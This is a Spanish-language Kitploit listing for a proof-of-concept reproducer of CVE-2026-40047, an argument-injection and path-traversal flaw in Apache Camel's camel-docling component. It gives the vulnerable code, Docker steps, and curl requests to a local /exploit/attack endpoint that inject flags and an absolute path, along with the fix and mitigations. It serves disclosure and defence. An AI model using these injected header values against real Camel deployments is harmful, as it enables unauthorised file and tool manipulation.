Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-40047 — Reproductor para CVE-2026-40047: inyección de argumentos CLI / path traversal en Apache Camel camel-docling | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-40047
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHuboscerd/cve-2026-40047

CVE-2026-40047

Reproductor para CVE-2026-40047: inyección de argumentos CLI / path traversal en Apache Camel camel-docling

Ver Repositorio
2hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Reproductor de inyección de argumentos CLI / path traversal en camel-docling (CVE-2026-40047)

Este proyecto demuestra una vulnerabilidad de inyección de argumentos CLI y path traversal en el componente camel-docling de Apache Camel, registrada como CVE-2026-40047. DoclingProducer construye la invocación de la herramienta externa de línea de comandos docling a partir de los encabezados del mensaje; los argumentos personalizados suministrados a través del encabezado CamelDoclingCustomArguments se añadían con una validación insuficiente (una lista de bloqueo más una comprobación literal de ../), por lo que un atacante que influya en esos encabezados puede inyectar flags arbitrarios de docling y valores de ruta con traversal en el subproceso.

Aviso de seguridad: https://camel.apache.org/security/CVE-2026-40047.html

Resumen de la vulnerabilidad

Detalles técnicos

DoclingProducer ensambla la invocación de docling y la ejecuta mediante java.lang.ProcessBuilder (forma de lista, sin shell). Los argumentos CLI personalizados del encabezado CamelDoclingCustomArguments se añaden al comando:

root@kitploit:~
// DoclingProducer.addCustomArguments(...) - affected version
List<String> customArgs = exchange.getIn().getHeader(DoclingHeaders.CUSTOM_ARGUMENTS, List.class);
if (customArgs != null && !customArgs.isEmpty()) {
    validateCustomArguments(customArgs);   // denylist + literal "../" check (weak)
    command.addAll(customArgs);
}

En las versiones afectadas, validateCustomArguments se basaba en una lista de bloqueo de flags no permitidos y solo rechazaba valores de ruta que contuvieran un ../ literal. Como resultado:

  • Flags no reconocidos (que no están en la lista de bloqueo) se pasan directamente a docling.
  • Valores similares a rutas que atraviesan directorios sin un ../ literal (rutas absolutas o secuencias normalizadas) no son detectados.

Debido a que Camel construye la invocación de docling, el componente es responsable de restringir estos valores. La corrección (CAMEL-23212) reemplaza la lista de bloqueo por una lista permitida estricta de flags reconocidos, rechaza flags gestionados por el productor (--output/-o) y metacaracteres de shell (defensa en profundidad), y normaliza los valores similares a rutas con Path.normalize() antes de validarlos.

La invocación usa la forma de lista de ProcessBuilder, por lo que un shell no interpreta los valores — la inyección de comandos del SO mediante metacaracteres de shell no es posible; el rechazo de metacaracteres en la corrección es defensa en profundidad.

La ruta

root@kitploit:~
from("direct:convert")
    .to("docling:convert?operation=CONVERT_TO_MARKDOWN&contentInBody=true");

Cómo este reproductor observa la inyección

docling es una herramienta externa. Este reproductor incluye un stub docling (en el PATH dentro del contenedor) que registra el argv que recibe y escribe un archivo markdown, de modo que los argumentos inyectados son visibles en la respuesta HTTP y en /tmp/docling-invocations.log. Todo se ejecuta dentro de una imagen Docker (aplicación + stub), por lo que no es necesario instalar docling real.

Requisitos previos

  • Java 17+ y Maven 3.8+ (para compilar el jar)
  • Docker (ejecuta la aplicación + el stub docling)

Pasos de reproducción

Paso 1: Compilar el jar y construir la imagen

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Paso 2: Conversión benigna

root@kitploit:~
curl http://localhost:8080/exploit/normal
# stub docling receives: docling --to md --ocr-lang en --output <tmp> /tmp/input.txt

Paso 3: Inyectar argumentos CLI arbitrarios

root@kitploit:~
curl "http://localhost:8080/exploit/attack"
# injects CamelDoclingCustomArguments = [--injected-by-attacker, arbitrary-value]
# -> stub docling receives:
#    docling --injected-by-attacker arbitrary-value --to md --ocr-lang en --output <tmp> /tmp/input.txt

# a path value with no literal "../" (absolute path) also passes:
curl "http://localhost:8080/exploit/attack?flag=--artifacts-path&value=/etc/attacker-controlled"

En una versión afectada (este reproductor fija la 4.18.2) la ruta tiene éxito y los argumentos inyectados llegan al subproceso. En una versión corregida (4.18.3 / 4.19.0) la lista permitida rechaza --injected-by-attacker con una IllegalArgumentException y la ruta falla.

Limpieza

root@kitploit:~
docker compose down

Condiciones de explotación

  1. Una ruta de Camel que reenvíe datos influenciados externamente hacia CamelDoclingCustomArguments (o los encabezados que contienen rutas) de un productor docling:.
  2. Que no se eliminen los encabezados internos de Camel en los mensajes procedentes de productores no confiables.

Corrección recomendada

Actualice a 4.18.3 / 4.19.0. La corrección utiliza una lista permitida estricta de flags docling reconocidos, rechaza flags gestionados por el productor y metacaracteres de shell, y normaliza los valores de ruta con Path.normalize() antes de validarlos.

Mitigación

Hasta actualizar:

  1. No asigne contenido no confiable a CamelDoclingCustomArguments ni a los encabezados que contienen rutas.
  2. Elimine los encabezados internos de Camel (removeHeaders("Camel*")) de los mensajes que llegan de productores no confiables antes del productor docling:.

Archivos

root@kitploit:~
CVE-2026-40047/
├── pom.xml
├── Dockerfile                       # app + stub 'docling' on PATH
├── docker-compose.yml
├── docling-stub.sh                  # stub 'docling' (logs argv, writes markdown)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── DoclingRoute.java         # from(direct:convert).to(docling:convert)
    │   └── ExploitController.java    # injects CamelDoclingCustomArguments
    └── resources/
        └── application.properties

Descargo de responsabilidad

Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.

Descargar herramienta
PropiedadValor
Componentecamel-docling
Clase afectadaorg.apache.camel.component.docling.DoclingProducer (addCustomArguments / validateCustomArguments)
Causa raízCamelDoclingCustomArguments (un List<String>) añadido a los argumentos CLI de docling con una lista de bloqueo débil + comprobación literal de ../
CWECWE-88 (Argument Injection) / CWE-22 (Path Traversal)
ImpactoInyección de flags CLI de docling arbitrarios/no deseados y valores de ruta fuera del directorio en la herramienta externa. NO es inyección de comandos del SO (ProcessBuilder basado en lista, sin shell).
Versiones afectadasDesde 4.15.0 hasta antes de 4.18.3
Versiones corregidas4.18.3, 4.19.0
JIRACAMEL-23212
Reportado porAndrea Cosentino (Apache Software Foundation)